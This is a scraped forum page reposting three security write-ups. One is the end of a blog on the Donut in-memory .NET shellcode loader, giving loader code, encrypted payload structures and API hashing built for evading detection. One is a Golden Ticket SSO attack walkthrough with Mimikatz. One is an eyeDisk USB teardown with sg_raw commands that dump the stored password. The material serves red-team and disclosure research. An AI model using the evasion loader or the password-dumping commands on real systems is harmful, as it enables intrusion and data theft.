SafeArrayDestroy(sa); } ad->Release(); } iu->Release(); } icrh->Stop(); } icrh->Release(); } int main(int argc, char *argv[]) { void *mem; struct stat fs; FILE *fd; if(argc != 2) { printf("usage: rundotnet <.NET assembly>\n"); return 0; } // 1. get the size of file stat(argv[1], &fs); if(fs.st_size == 0) { printf("file is empty.\n"); return 0; } // 2. try open assembly fd = fopen(argv[1], "rb"); if(fd == NULL) { printf("unable to open \"%s\".\n", argv[1]); return 0; } // 3. allocate memory mem = malloc(fs.st_size); if(mem != NULL) { // 4. read file into memory fread(mem, 1, fs.st_size, fd); // 5. run the program from memory rundotnet(mem, fs.st_size); // 6. free memory free(mem); } // 7. close assembly fclose(fd); return 0; } The following is a simple Hello, World! example in C# that when compiled with csc.exe will generate a dot net assembly for testing the loader. // A Hello World! program in C#. using System; namespace HelloWorld { class Hello { static void Main() { Console.WriteLine("Hello World!"); } } } Compiling and running both of these sources gives the following results. That’s a basic implementation of executing dot net assemblies and doesn’t take into consideration what runtime versions of the framework are supported. The shellcode works differently by resolving the address of CorBindToRuntime and CLRCreateInstance together which is similar to AssemblyLoader by subTee. If CLRCreateInstance is successfully resolved and invocation returns E_NOTIMPL or “Not implemented”, we execute CorBindToRuntime with the pwszVersion parameter set to NULL, which simply requests the latest version available. If we request a specific version from CorBindToRuntime that is not supported by the system, a host process running the shellcode might display an error message. For example, the following screenshot shows a request for v4.0.30319 on a Windows 7 machine that only supports v3.5.30729.5420. You may be asking why the OLE functions used in the hosting example are not also used in the shellcode. OLE functions are sometimes referenced in another DLL like COMBASE instead of OLE32. xGetProcAddress can handle forward references, but for now at least, the shellcode uses a combination of CorBindToRuntime and CLRCreateInstance. CoCreateInstance may be used in newer versions. Defining .NET Types Types are accessible from an unmanaged C++ application using the #import directive. The hosting example uses _AppDomain, _Assembly and _MethodInfo interfaces defined in mscorlib.tlb. The problem, however, is that there’s no definition of the interfaces anywhere in the public version of the Windows SDK. To use a dot net type from lower-level languages like assembly or C, we first have to manually define them. The type information can be enumerated using the LoadTypeLib API which returns a pointer to the ITypeLib interface. This interface will retrieve information about the library while ITypeInfo will retrieve information about the library interfaces, methods and variables. I found the open source application Olewoo useful for examining mscorlib.tlb. If we ignore all the concepts of Object Oriented Programming (OOP) like class, object, inheritance, encapsulation, abstraction, polymorphism..etc, an interface can be viewed from a lower-level as nothing more than a pointer to a data structure containing pointers to functions/methods. I could not find any definition of the required interfaces online except for one file in phplib that partially defines the _AppDomain interface. Based on that example, I created the other interfaces necessary for loading assemblies. The following method is a member of the _AppDomain interface. HRESULT (STDMETHODCALLTYPE *InvokeMember_3)( IType *This, BSTR name, BindingFlags invokeAttr, IBinder *Binder, VARIANT Target, SAFEARRAY *args, VARIANT *pRetVal); Although no methods of the IBinder interface are used in the shellcode and the type could safely be changed to void *, the following is defined for future reference. The DUMMY_METHOD macro simply defines a function pointer. typedef struct _Binder IBinder; #undef DUMMY_METHOD #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IBinder *This) typedef struct _BinderVtbl { HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IBinder * This, /* [in] */ REFIID riid, /* [iid_is][out] */ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IBinder * This); ULONG ( STDMETHODCALLTYPE *Release )( IBinder * This); DUMMY_METHOD(GetTypeInfoCount); DUMMY_METHOD(GetTypeInfo); DUMMY_METHOD(GetIDsOfNames); DUMMY_METHOD(Invoke); DUMMY_METHOD(ToString); DUMMY_METHOD(Equals); DUMMY_METHOD(GetHashCode); DUMMY_METHOD(GetType); DUMMY_METHOD(BindToMethod); DUMMY_METHOD(BindToField); DUMMY_METHOD(SelectMethod); DUMMY_METHOD(SelectProperty); DUMMY_METHOD(ChangeType); DUMMY_METHOD(ReorderArgumentArray); } BinderVtbl; typedef struct _Binder { BinderVtbl *lpVtbl; } Binder; Methods required to load assemblies from memory are defined in payload.h. Donut Instance The shellcode will always be combined with a block of data referred to as an Instance. This can be considered the “data segment” of the shellcode. It contains the names of DLL to load before attempting to resolve API, 64-bit hashes of API strings, COM GUIDs relevant for loading .NET assemblies into memory and decryption keys for both the Instance, and the Module if one is stored on a staging server. Many shellcodes written in C tend to store strings on the stack, but tools like FireEye Labs Obfuscated String Solver can recover them with relative ease, helping to analyze the code much faster. One advantage of keeping strings in a separate data block is when it comes to the permutation of the code. It’s possible to change the code while retaining the functionality, but never having to work with “read-only” immediate values that would complicate the process and significantly increase the size of the code. The following structure represents what is placed after a call opcode and before a pop ecx / pop rcx. The fastcall convention is used for both x86 and x86-64 shellcodes and this makes it convenient to load a pointer to the Instance in ecx or rcx register. typedef struct _DONUT_INSTANCE { uint32_t len; // total size of instance DONUT_CRYPT key; // decrypts instance // everything from here is encrypted int dll_cnt; // the number of DLL to load before resolving API char dll_name[DONUT_MAX_DLL][32]; // a list of DLL strings to load uint64_t iv; // the 64-bit initial value for maru hash int api_cnt; // the 64-bit hashes of API required for instance to work union { uint64_t hash[48]; // holds up to 48 api hashes void *addr[48]; // holds up to 48 api addresses // include prototypes only if header included from payload.h #ifdef PAYLOAD_H struct { // imports from kernel32.dll LoadLibraryA_t LoadLibraryA; GetProcAddress_t GetProcAddress; VirtualAlloc_t VirtualAlloc; VirtualFree_t VirtualFree; // imports from oleaut32.dll SafeArrayCreate_t SafeArrayCreate; SafeArrayCreateVector_t SafeArrayCreateVector; SafeArrayPutElement_t SafeArrayPutElement; SafeArrayDestroy_t SafeArrayDestroy; SysAllocString_t SysAllocString; SysFreeString_t SysFreeString; // imports from wininet.dll InternetCrackUrl_t InternetCrackUrl; InternetOpen_t InternetOpen; InternetConnect_t InternetConnect; InternetSetOption_t InternetSetOption; InternetReadFile_t InternetReadFile; InternetCloseHandle_t InternetCloseHandle; HttpOpenRequest_t HttpOpenRequest; HttpSendRequest_t HttpSendRequest; HttpQueryInfo_t HttpQueryInfo; // imports from mscoree.dll CorBindToRuntime_t CorBindToRuntime; CLRCreateInstance_t CLRCreateInstance; }; #endif } api; // GUID required to load .NET assembly GUID xCLSID_CLRMetaHost; GUID xIID_ICLRMetaHost; GUID xIID_ICLRRuntimeInfo; GUID xCLSID_CorRuntimeHost; GUID xIID_ICorRuntimeHost; GUID xIID_AppDomain; DONUT_INSTANCE_TYPE type; // PIC or URL struct { char url[DONUT_MAX_URL]; char req[16]; // just a buffer for "GET" } http; uint8_t sig[DONUT_MAX_NAME]; // string to hash uint64_t mac; // to verify decryption ok DONUT_CRYPT mod_key; // used to decrypt module uint64_t mod_len; // total size of module union { PDONUT_MODULE p; // for URL DONUT_MODULE x; // for PIC } module; } DONUT_INSTANCE, *PDONUT_INSTANCE; Donut Module A dot net assembly is stored in a data structure referred to as a Module. It can be stored with an Instance or on a staging server that the shellcode will retrieve it from. Inside the module will be the assembly, class name, method, and optional parameters. The sig value will contain a random 8-byte string that when processed with the Maru hash function will generate a 64-bit value that should equal the value of mac. This is to verify decryption of the module was successful. The Module key is stored in the Instance embedded with the shellcode. // everything required for a module goes into the following structure typedef struct _DONUT_MODULE { DWORD type; // EXE or DLL WCHAR runtime[DONUT_MAX_NAME]; // runtime version WCHAR domain[DONUT_MAX_NAME]; // domain name to use WCHAR cls[DONUT_MAX_NAME]; // name of class and optional namespace WCHAR method[DONUT_MAX_NAME]; // name of method to invoke DWORD param_cnt; // number of parameters to method WCHAR param[DONUT_MAX_PARAM][DONUT_MAX_NAME]; // string parameters passed to method CHAR sig[DONUT_MAX_NAME]; // random string to verify decryption ULONG64 mac; // to verify decryption ok DWORD len; // size of .NET assembly BYTE data[4]; // .NET assembly file } DONUT_MODULE, *PDONUT_MODULE; Random Keys On Windows, CryptGenRandom generates cryptographically secure random values while on Linux, /dev/urandom is used instead of /dev/random because the latter blocks on read attempts. Thomas Huhn writes in Myths about /dev/urandom that /dev/urandom is the preferred source of cryptographic randomness on Linux. Now, I don’t suggest any of you reuse CreateRandom to generate random keys, but that’s how they’re generated in Donut. Random Strings Application Domain names are generated using a random string unless specified by the user generating a payload. If a donut module is stored on a staging server, a random name is generated for that too. The function that handles this is aptly named GenRandomString. Using random bytes from CreateRandom, a string is derived from the letters “HMN34P67R9TWCXYF”. The selection of these letters is based on a post by trepidacious about unambiguous characters. Symmetric Encryption An involution is simply a function that is its own inverse and many tools use involutions to obfuscate the code. If you’ve ever reverse engineered malware, you will no doubt be familiar with the eXclusive-OR operation that is used quite a lot because of its simplicity. A more complicated example of involutions can be the non-linear operation used for the Noekeon block cipher. Instead of involutions, Donut uses the Chaskey block cipher in Counter (CTR) mode to encrypt the module with the decryption key embedded in the shellcode. If a Donut module is recovered from a staging server, the only way to get information about what’s inside it is to recover the shellcode, find a weakness with the CreateRandom function or break the Chaskey cipher. static void chaskey(void *mk, void *p) { uint32_t i,*w=p,*k=mk; // add 128-bit master key for(i=0;i<4;i++) w[i]^=k[i]; // apply 16 rounds of permutation for(i=0;i<16;i++) { w[0] += w[1], w[1] = ROTR32(w[1], 27) ^ w[0], w[2] += w[3], w[3] = ROTR32(w[3], 24) ^ w[2], w[2] += w[1], w[0] = ROTR32(w[0], 16) + w[3], w[3] = ROTR32(w[3], 19) ^ w[0], w[1] = ROTR32(w[1], 25) ^ w[2], w[2] = ROTR32(w[2], 16); } // add 128-bit master key for(i=0;i<4;i++) w[i]^=k[i]; } Chaskey was selected because it’s compact, simple to implement and doesn’t contain constants that would be useful in generating simple detection signatures. The main downside is that Chaskey is relatively unknown and therefore hasn’t received as much cryptanalysis as AES has. When Chaskey was first published in 2014, the recommended number of rounds was 8. In 2015, an attack against 7 of the 8 rounds was discovered showing that the number of rounds was too low of a security margin. In response to this attack, the designers proposed 12 rounds, but Donut uses the Long-term Support (LTS) version with 16 rounds. API Hashing If the hash of an API string is well known in advance of a memory scan, detecting Donut would be much easier. It was suggested in Windows API hashing with block ciphers that introducing entropy into the hashing process would help code evade detection for longer. Donut uses the Maru hash function which is built atop of the Speck block cipher. It uses a Davies-Meyer construction and padding similar to what’s used in MD4 and MD5. A 64-bit Initial Value (IV) is generated randomly and used as the plaintext to encrypt while the API string is used as the key. static uint64_t speck(void *mk, uint64_t p) { uint32_t k[4], i, t; union { uint32_t w[2]; uint64_t q; } x; // copy 64-bit plaintext to local buffer x.q = p; // copy 128-bit master key to local buffer for(i=0;i<4;i++) k[i]=((uint32_t*)mk)[i]; for(i=0;i<27;i++) { // donut_encrypt 64-bit plaintext x.w[0] = (ROTR32(x.w[0], 8) + x.w[1]) ^ k[0]; x.w[1] = ROTR32(x.w[1],29) ^ x.w[0]; // create next 32-bit subkey t = k[3]; k[3] = (ROTR32(k[1], 8) + k[0]) ^ i; k[0] = ROTR32(k[0],29) ^ k[3]; k[1] = k[2]; k[2] = t; } // return 64-bit ciphertext return x.q; } Summary Donut is provided as a demonstration of CLR Injection through shellcode in order to provide red teamers a way to emulate adversaries and defenders a frame of reference for building analytics and mitigations. This inevitably runs the risk of malware authors and threat actors misusing it. However, we believe that the net benefit outweighs the risk. Hopefully, that is correct. Source code can be found here. Sursa: https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/
  24. Golden Ticket Attack Execution Against AD-Integrated SSO providers 29 July 2018 Background The broad movement towards identity-centric security is being accelerated by architectural shifts towards a zero-trust environment with point-to-point encryption between services and users. The shift to cloud and SaaS offerings—which are an important part of most users’ daily activities—is well underway. Despite more cloud-centric user experiences, Active Directory remains a critical part of most modern enterprises, and many cloud identity solutions and applications integrate with Active Directory via some federation scheme. Major recent breaches in private industry and government demonstrate the importance of securing Active Directory Infrastructure. For those not familiar, the EU-CERT papers describe in detail that Advanced Persistent Threats are widely using Kerberos and Active Directory exploitation to persist and enable lateral movement in enterprise networks (see e.g. Lateral Movements PDF and Kerberos Golden Ticket Protection. The reality is that tools like Mimikatz, Kekeo, CrackMapExec, Deathstar, and others have helped to commoditize sophisticated attack vectors such that any reasonable actor with basic knowledge of scripting can achieve effects once limited to elite threat actors. It is also increasingly common to see such forms of credential compromise bundled in ransomware, wipers, and other malware to increase the ability of software to spread to otherwise non-vulnerable hosts. While the EU-CERT guidance regarding the use of Windows Event Logs from Domain Controllers (DCs) to do very basic instrumentation of Active Directory (AD), these logs cannot be trusted in a number of realistic and commonly seen attack scenarios. This means that unless a security operations team is doing sophisticated behavioral analysis at the Kerberos protocol level (with instrumentation on actual Domain Controllers), they are likely to miss key attack types leveraging these more recent tools and techniques. Practical limits from the challenge of exchanging shared secrets across an untrusted network enable attackers to continue to abuse fundamental weaknesses in Kerberos, and in Active Directory as the most widely used Kerberos implementation in the world. Tools for exploitation are being consistently developed, used on real targets, and enhanced. Given the lack of alternatives to underpin authentication in modern IT enterprises, any organization serious about defending its network will need to address these key gaps. This post is meant to introduce some basic fundamental security issues with Kerberos while diving into more specifics regarding how AD federation can unintentionally increase attack surface, regardless of what tool or service is integrated via a supported federation approach. Golden Ticket Attack Execution Many organizations depend on third-party Single Sign-On (SSO) providers to improve user experience by requiring only a single authentication to access numerous protected services. SSO providers typically accomplish this by integrating directly with Windows Active Directory and its use of the Kerberos authentication protocol. In the exercise below, we walk through the steps used to demonstrate the ability to successfully execute a Golden Ticket attack against two common SSO providers (Auth0 and Okta). It should be noted that this post is exclusively about vulnerabilities of the underlying authentication schema trusted by SSO services in general and the unintended consequences that may arise from federated services. It is not a critique of any SSO vendor. SSO services are important mechanisms to improve user experience and ease of management. They are transport services to extend an authentication solution, not designed to mitigate any underlying vulnerabilities in the authentication framework itself. For more information, see the Okta Security Technical White Paper. Auth0 Verification of Valid User Login via Auth0: First, we want to demonstrate normal SSO behavior for a valid user. Below we see in the ‘User Details’ in Auth0 settings that the account associated with the email “metropolis@fractalindustries.com” is linked to the SAM account “artem” for the domain “DCC.local”: Also shown is the user_id value for user “artem”: ‘SSO Integrations’ in Auth0 settings show the URL one would use to access the SSO page for Dropbox: Navigating to this URL shows the email that is linked with the “artem” account having been used previously to log into Dropbox for Business: The email used to authenticate on Dropbox links to an account for “Clark Kent” (arbitrarily named in Dropbox ‘User Accounts’): At this point, we log out of Dropbox, clear browser data, and start Wireshark network traffic capture utility with a filter for Kerberos, HTTPS and Auth0 AD/LDAP agent traffic: We launch SSO portal for Dropbox and allow it to use windows credentials: Authentication passes the SSO provider and redirects to the Dropbox SAML page with the expected email for user “artem”: Logging in takes us to the same account as shown before: We log out, clear browsing data, and examine Wireshark results to confirm valid login: Golden Ticket Attack Initiation Against Auth0: Now we want to execute a Golden Ticket attack, successfully log on to Dropbox with forged credentials, and examine the logs to demonstrate how this traffic appears to be perfectly valid. First we log in as a local admin with no domain rights on the same computer that was shown being used properly in the previous section, as demonstrated with ‘whoami’ command: We start Wireshark and filter for Kerberos, Auth0 AD/LDAP agent traffic: Next we attempt to log into SSO for Dropbox with credentials assigned to this account and fail, in this case falling back to NTLM: Wireshark shows that SSO returned “Unauthorized” errors: We reset browser data to remove failed session cookies, then execute Mimikatz: Purge tickets in an adjacent window to avoid cross-contamination: Paste Golden Ticket injection command: Switch to the Domain Controller to show that the krbtgt hash is really from this domain, and that the SID and RID match for the user being impersonated: Switching back to the attacking computer, we launch the same Dropbox SSO link as before (where access was disallowed previously) from the PowerShell window with the Golden Ticket in the session: Click Use Windows Credentials button as before: Wireshark shows Golden Ticket sent in TGS_REQ: Using Wireshark we see the actual forged ticket: Here we see that the DC responded to the forged ticket as if it was for the user “artem”: …and that the service ticket just granted was sent over HTTP to the Auth0 AD/LDAP agent: The Auth0 AD/LDAP agent responds with a “200 OK” HTTP response, thus accepting the forged ticket presented previously: Next we log into Dropbox with SSO: …and confirm we’re logged in as the same Dropbox account as previously used: Looking again at ‘User Details’ in Auth0 settings, we see the user_id is the same as its initial value in the beginning of this document: Finally we examine of Auth0 logs to compare the last login attempt to the previous two attempts: The user_id from most recent attempt with the forged ticket (4 minutes ago according to the ‘Logs’ screen in the Auth0 UI above) is shown below: The two previous, valid login attempts that took place 16 and 19 minutes ago per the ‘Logs’ screen on the Auth0 UI (see different “log_id” values) show the same login_id values as the login attempt using the forged Golden Ticket: One of the key takeaways here is that the forged ticket appears exactly the same as valid authentication attempts across all associated logs, making even forensic detection of Golden Tickets exceedingly difficult. Okta Next we’ll demonstrate a Golden Ticket attack against Okta. But first, it’s important to understand the data flow that takes place during these transactions involving third-party SSO providers: Source: https://support.okta.com/help/Documentation/Knowledge_Article/Install-and-configure-the-Okta-IWAWeb-App-for-Desktop-SSO-291155157 In the case of a Golden Ticket attack, the Kerberos credential in Step 5 above is the forged Golden Ticket. Golden Ticket Attack Initiation Against Okta: We begin by confirming the url for SSO and showing that DCC.local is federated: We launch a Chrome session to the SSO url: …and see that the user is unable to log on: After clearing browser history, we execute Mimikatz and inject the Golden Ticket for user ssam@DCC.local (which is also linked to the metropolis@fractalindustries.com address): We again launch a Chrome session to the SSO url, this time with the forged Golden Ticket being submitted: This time, the login is successful (with “simple” being the first name for user “Simple Sam” which was the user “ssam” that was tested previously): Examination of Wireshark logs shows the TGS_REQ associated with the Golden Ticket attack: …as well as the TGS_REP for user “ssam”: Conclusion Third-party Single-Sign-On (SSO) systems provide convenience to users by linking existing authentication infrastructure to cloud services. However, it’s important to understand that by anchoring cloud service authentication to existing services, companies are effectively extending their network perimeter and thereby increasing their overall exposure. As shown here, techniques such as Golden and Silver Ticket attacks can easily be extended to cloud services linked to Active Directory authentication. With readily available tools like Mimikatz, it’s alarmingly easy for threat actors to forge Kerberos tickets that enable them to traverse the network as an authenticated, valid user. That’s what makes these techniques nearly impossible to detect—without a “paper trail” of ticket exchanges there’s virtually no sign of a compromise. Even Windows Event Logs record forged tickets as valid. As a result, Golden Ticket attacks are often still just a “best guess” as the only possible explanation for a breach, after everything else has been ruled out. Because if you can’t verify the authentication process, how can you know for sure? By extension, how can you trust anything your logs are telling you if you can’t trust the authentication event itself? Without knowing for sure that users are who they claim to be, your entire cybersecurity posture is put into question. For particularly devastating compromises like Golden Ticket and other lateral movement attacks, security analysts are historically reduced to making heuristics-based guesses according to vague notions of anomalous behavior. More false positives, more alert fatigue, more successful attacks… ACDP was designed and built from the ground up to break this cycle. Additional Resources Kerberos-Based Attacks and Lateral Movement Kerberos Attacks: What you Need to Know Detecting Lateral Movements in Windows Infrastructure Kerberos Golden Ticket Protection: Mitigating Pass-the-Ticket on Active Directory MIT Kerberos: The Network Authentication Protocol Return from the Underworld: the Future of Red Team Kerberos Abusing Microsoft Kerberos: sorry you guys don’t get it Mimikatz Attacks Tales of a Threat Hunter 1: Detecting Mimikatz & other Suspicious LSASS Access - Part 1 Active Directory Security Active Directory Security: Active Directory & Enterprise Security, Methods to Secure Active 2016 Attack on the Office of Personnel Management Inside the Cyberattack That Shocked the US Government Technical Forensics of OPM Hack Reveal PLA Links to Cyberattacks Targeting Americans 2015 Cyberattack on the DNC Bears in the Midst: Intrusion into the Democratic National Committee ©2018 Fractal Industries, Inc. All Rights Reserved. Sursa: https://www.fractalindustries.com/newsroom/blog/gt-attacks-and-sso
  25. eyeDisk. Hacking the unhackable. Again David Lodge 09 May 2019 Last year, about the time we were messing around with a virtually unheard-of hardware wallet we got a bit excited about the word “unhackable”. Long story short, I ended up supporting a selection of kickstarters that had the word “unhackable” or similar in their title. Of these, at least one got funded and got distributed from China’s far shores to my house. The “unhackable” USB stick called eyeDisk was in my sweaty hand. Here’s the claim from the Kickstarter project page: EyeDisk’s thing is that it uses iris recognition to unlock the drive, to quote their kickstarter campaign: With eyeDisk you never need to worry about losing your USB or the vulnerability of your data stored in it. eyeDisk features AES 256-bit encryption for your iris pattern. We develop our own iris recognition algorithm so that no one can hack your USB drive even [if] they have your iris pattern. Your personal iris data used for identification will never be retrieved or duplicated even if your USB is lost. So, can we hack it? Initial investigation Upon getting it, the first thing to do was to plug it into a Windows VM to see how it runs and whether it pings back to base. Upon initial connection, it came up as three devices: A USB camera A read-only flash volume A removable media volume The USB camera could be interacted with directly from Windows as a normal camera, although it had had the infra-red filter removed, which is inline with what the kickstarter describes. It probably uses infra-red to aid in iris recognition to minimise differences caused by different eye colours and to aid detection of a photo. The image does look a tad weird though, totally hiding my beard: The read-only flash volume contained the software (Windows and Mac) that managed the device and allow the enrolling of the device with iris and an optional password protection. In terms of functionality, it did what it was meant to: it unlocked with a password and the iris detection worked about two times in every three. Simple experiments to fool the iris unlock, using my sprogs’ eyes (both roughly the same shade of blue as mine) and a photo of my eyes (now that was freaky) failed. So, sounds good for them and bad for a blog post. Time to look at the hardware. The hardware At this point I had a little conversation with @2sec4u, who had bought a device, took it apart and bricked it. He sent me some photos of his device so I could get an idea of what the internals looked like. These were enough to show me that it may be worth dissecting my own one. Unfortunately, the device was ultrasonically welded meaning that I couldn’t use a simple spudger to open it. I had to break out the grips of over indulgence to pop some of the clips through force. This does mean that it is unlikely to go back together again. Anyway, I could get some clear shots of the internal gubbins. Below is the “back” of the device, which has one large MCU looking chip (highlighted in red) and a NAND flash chip (in green) hidden under a barcode sticker. We can also see the connector for the camera and the back of the camera unit (in purple. Breaking a few of the plastic pegs allowed the “front” of the device to be seen: Here we can see another MCUy type chip (in red); a third MCUy chip (in green), the camera with a quite reddy lens or filter on the outside (in blue) and two tssop8 chips (in purple). Next step it to dig out the microscope to get some serial numbers and work out what these chips do. For the back: The red highlighted chip is a Genesys GL3523 USB 3.1 hub controller, I suspect this to handle the different USB modes. This was my first suspicion for a controlling MCU, but it is too dumb to handle what the device does. The green highlighted chip has the right form factor for NAND flash, but has a generic code on it. As we’ll see later, through USB it enumerates as a Kingston device. For the front: The red highlighted chip is a Phison PS2251-09-V; this is a NAND to USB convertor. It is a common chip in USB sticks and is the most likely to be used as a main controller: The green highlighted chip is a SONIX SN9C525GAJG which is the camera controller. I can’t find a datasheet for this, but it appears to be a slot in chip to convert a webcam to USB. Finally, we have the purple highlighted chips, these surprised me, I was expecting a MOSFET or a voltage regulator, but no, they’re PUYA P25Q040H SPI NOR Flash. Unfortunately, being in a TSSOP8 package I don’t have a clip to read them in circuit and soldering to the pins will probably be beyond my ability, so I’d have to remove them from the circuit to get a sensible read. This will be done, but not until I’m happy to kill the device: The interesting bit, from a hardware side is that there is not real central MCU – the Phison NAND controller has the most flexibility; but each chip is specific to a role. What we have here is, literally, a USB stick with a hub and camera attached. That means most of the brains are in the software. The software, or How It Works This is where it gets difficult, the software was written in Visual C++, so it’s not easy to decompile; I had a neb over it in both IDA and Ghidra, but x86 is not my thing: I prefer efficient, well-designed machines code such as ARM. So I took the lazy way – at some point when I authenticate to it, it must pass something to the device to unlock the private volume. If I could sniff this, I could maybe replay it. Normally I would dig out the Beagle USB sniffer, but I wasn’t anywhere near our office, so I was lazy: I used Wireshark. Later versions of Wireshark support USBPcap, which is a version of WinPcap for USB – basically it allows me to sniff the USB traffic in Wireshark, rather than having to use a spliced cable and a logic analyser (as I have in the past). As a bit of a segue: USB mass storage is a wrapper over SCSI commands; yes, for those of you over forty who remember the pain and agony of getting SCSI to work, this is probably already giving you flashbacks. Don’t worry, you don’t need to terminate these SCSI chains. For those who’ve never had to fight SCSI, you don’t need to worry, there’s a few things you need to understand, the first is a LUN (Logical Unit Number), this is just a number used to identify a device. These are used by CDBs (Command Descriptor Block), a CDB is the format used to send commands, these can be of several pre-defined sizes and can be thought of as similar to opcodes in assembler or other wire protocols, such as SPI. A common pattern of packets would be: Where the top packet is sending a SCSI command with an opcode of 0x06 and receiving a response from the device. The direction follows USB terminology, from the host – i.e. “In” is to the host and “Out” is to the device. If we look at the two above packets we can see the command is: And the response is: So obviously the command 06 05 00 00 00 00 00 00 00 00 00 00 is an information request which dumps information about the device. The next step is to sniff whilst unlocking the device, and this is what I saw. First a SCSI command: Followed by a transferring of data from the host to the device: That string in red, that’s the password I set on the device. In the clear. Across an easy to sniff bus. The bit in blue is a 16 byte hash, which is about the right size for md5 and doesn’t match the hash of the password, so it could be the iris hash. Let me just repeat this: this “unhackable” device unlocks the volume by sending a password through in clear text. So what happens if I enter the wrong password? I’ll give you a clue: exactly the same thing. Let me just let you go “huh?” for a second. Yep, no matter what you enter it sends the same packet to the device. This means that the app itself must read this from the device and then resend it when it unlocks it. A quick search for my password in the sniff, shows me where it gets it from the device: So, a SCSI command of 06 0a 00 00 00 00 00 00 80 56 52 00 returns the password in clear? What else can we do. At this point it was time for some research. Attacking the controller There are a lot of different USB controllers out there, each offer different facilities, including passworded partitions, encrypted partitions etc. Phison is a common one which offers (according to its datasheets) private partitions and encryption. The way it manages these is to use custom SCSI commands, mainly the opcode 06; this is followed by a sub opcode, in the above we can see opcodes 0b, 0a and 05. These are proprietary and not documented anywhere. But, this is the Internets, people have reversed some of these codes in the past. One of the most important resources here was https://github.com/brandonlw/Psychson which includes a tool to read firmware and memory from a Phison device. Analysis of the code revealed a number of possible sub operation codes that could be used to improve the attack. Most of these didn’t work as expected (that repo is 5 years old), but information could be gleaned. But first, some background: the CPU core at the heart of the Phison chip is an Intel 8051 clone. This chip, which is older than a lot of our consultants is quite commonly used in embedded hardware as it is relatively simple. Unlike x86 or ARM it uses the Harvard Architecture. This architecture splits memory into distinct program and data segments that cannot interact. This makes little difference other than having to know that about the memory regions that can be accessed: SRAM is 256 bytes of RAM which include bit mapping and the memory mapped CPU registers XDATA is (slow) external memory CODE is the programmable memory (i.e. the firmware) We are at the mercy of the SCSI extensions as to what we can access, but we need to know about the different memory areas to piece stuff together. I have filtered out a lot of trial and error (and swearing) here; the worst bit that if you hit a bad code you got a 60 second time out and there was the potential to brick the device. For this I used the linux utility sg_raw which can send raw command to a SCSI device. DO NOT USE THIS UTILITY UNLESS YOU KNOW WHAT YOU’RE DOING: IT CAN TRASH YOUR SCSI DRIVE. Anyway, the sub opcode 05 appears to dump XDATA; this being what I think is one of the NOR flash chips. The command being: 06 05 52 41 HH LL 00 00 00 00 00 00 Where HH is the address high byte and LL is the address low byte. For some reason it hung at when HH was 225, so a simple command to dump all of XDATA was, 256 bytes at a time: for i in `seq 0 224`;do sudo sg_raw -b -r 256 /dev/sdb 06 05 52 41 $(printf “%0x” $i) 00 00 00 00 00 00 00 2>/dev/null >>/tmp/out.bin;done The password appears to be stored at 0x01b0, so the following script should dump it: echo $(sudo sg_raw -b -r 16 /dev/sdb 06 05 52 41 01 b0 00 00 00 00 00 00 2>/dev/null) Other sub opcodes are quite flaky and though appear to work, don’t return much of use. I found a number of ways to dump the bit of XDATA with the password in it. Conclusion So, a lot of complex SCSI commands were used to understand the controller side of the device, but obtaining the password/iris can be achieved by simply sniffing the USB traffic to get the password/hash in clear text. The software collects the password first, then validates the user-entered password BEFORE sending the unlock password. This is a very poor approach given the unhackable claims and fundamentally undermines the security of the device. Disclosure timeline Initial disclosure 4th April 2019 Immediate response from vendor Full details provided 4th April 2019 Chase on the 8th April as no response or acknowledgement of issues 9th April vendor acknowledges and advises they will fix – no date given 9th April ask when they expect to fix, notify customers and pause distribution due to fundamental security issue. Advised public disclosure date 9th May 2019 – no response 8th May final chase before disclosure 9th May disclosed Advice In the absence of a fix or any advice from EyeDisk, our advice to users of the device is to stop relying on it as a method of securing your data- unless you apply additional controls such as encrypting your data before you copy it to the device. Our advice to vendors who wish to make the claim their device is unhackable, stop, it is a unicorn. Get your device tested and fix the issues discovered. #unhackable Sursa: https://www.pentestpartners.com/security-blog/eyedisk-hacking-the-unhackable-again/
×
×
  • Create New...